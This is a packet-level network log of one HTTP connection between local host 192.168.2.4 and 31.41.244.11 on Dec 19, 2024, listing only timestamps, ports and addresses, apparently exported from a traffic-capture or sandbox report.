Dec 19, 2024 14:10:40.941839933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.942837954 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.942955017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.943026066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.943090916 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.944092989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.944155931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.944230080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.944293022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.945585966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.945648909 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.945713043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.945772886 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.946861029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.946923018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.946966887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.947021961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.948045015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.948108912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.948164940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.948225021 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.949286938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.949378014 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.949387074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.949455976 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.950083971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.950150967 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.950241089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.950304031 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.951339960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.951374054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.951399088 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.951431036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.952446938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.952510118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.952568054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.952626944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.953668118 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.953728914 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.953768015 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.953840017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.954858065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.954915047 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.955002069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.955054045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.956067085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.956129074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.956201077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.956260920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.957261086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.957323074 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.957355022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.957428932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.958465099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.958523989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.958553076 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.958623886 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.959662914 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.959697008 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.959726095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.959748030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.961050987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.961102962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.961111069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.961148977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.962033033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.962090969 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.962145090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.962199926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.963387966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.963443995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.963474989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.963531017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.964453936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.964514017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.964565039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.964632988 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.965678930 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.965728998 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.965749979 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.965817928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.966873884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.966924906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.966964006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.967020035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.968113899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.968177080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.968234062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.968292952 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.969319105 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.969372034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.969373941 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.969423056 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.970726967 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.970778942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.970788002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.970846891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.972006083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.972079992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.972095013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.972151995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.973325968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.973397970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.973491907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.973552942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.974541903 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.974597931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.974733114 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.974791050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.975702047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.975766897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.975855112 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.975917101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.976865053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.976922989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.976978064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.977044106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.978058100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.978112936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.978188038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.978241920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.979074955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.979187012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.979214907 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.979275942 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.980298996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.980341911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.980401039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.980401039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:40.981254101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:40.981309891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.121206045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.121301889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.121360064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.121406078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.121727943 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.121799946 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.121838093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.121903896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.122922897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.122987986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.122996092 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.123059988 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.124311924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.124375105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.124433041 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.124496937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.125793934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.125861883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.125947952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.126010895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.127109051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.127177954 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.127208948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.127279043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.128246069 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.128313065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.128365993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.128426075 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.129375935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.129437923 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.129612923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.129678011 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.130717039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.130747080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.130776882 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.130811930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.131835938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.131897926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.131910086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.131963015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.132839918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.132904053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.132917881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.132972956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.133814096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.133873940 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.133909941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.133968115 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.134828091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.134891033 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.134927034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.134984970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.136059046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.136117935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.136164904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.136229992 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.137295961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.137356997 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.137356043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.137428045 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.138544083 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.138602018 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.138617039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.138675928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.139667034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.139729023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.139774084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.139832973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.141236067 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.141295910 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.141340971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.141402006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.142271996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.142333984 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.142385960 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.142462969 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.143547058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.143608093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.143652916 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.143711090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.144696951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.144738913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.144759893 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.144792080 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.145661116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.145721912 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.145766020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.145821095 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.146747112 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.146806002 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.146954060 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.147013903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.148092985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.148152113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.148174047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.148233891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.149298906 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.149358988 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.149391890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.149451971 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.150414944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.150485039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.150566101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.150625944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.151679993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.151696920 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.151741028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.151772976 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.152827978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.152888060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.152939081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.153008938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.154140949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.154206991 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.154278994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.154340029 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.155467033 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.155530930 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.155603886 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.155662060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.156831980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.156892061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.156948090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.157008886 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.157958984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.158020020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.158082962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.158147097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.159039974 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.159100056 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.159148932 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.159207106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.160150051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.160192013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.160224915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.160257101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.161254883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.161313057 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.161328077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.161387920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.162302017 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.162317991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.162364960 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.162399054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.163544893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.163604975 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.163686991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.163752079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.164681911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.164751053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.164758921 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.164804935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.165834904 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.165894032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.165926933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.165983915 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.167165995 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.167226076 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.167236090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.167294979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.168216944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.168277979 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.168317080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.168375969 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.169506073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.169529915 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.169567108 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.169600010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.170645952 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.170707941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.170708895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.170766115 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.171983957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.172009945 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.172044039 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.172077894 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.172991991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.173051119 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.173121929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.173183918 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.174211025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.174277067 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.174323082 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.174384117 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.175412893 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.175474882 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.175492048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.175550938 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.176575899 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.176619053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.176637888 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.176668882 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.177885056 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.177910089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.178087950 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.179001093 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.179064035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.179120064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.179193020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.180649996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.180706978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.180735111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.180788994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.181629896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.181646109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.181689978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.181723118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:41.182636023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:41.182693005 CET	80	49837	31.41.244.11	192.168.2.4
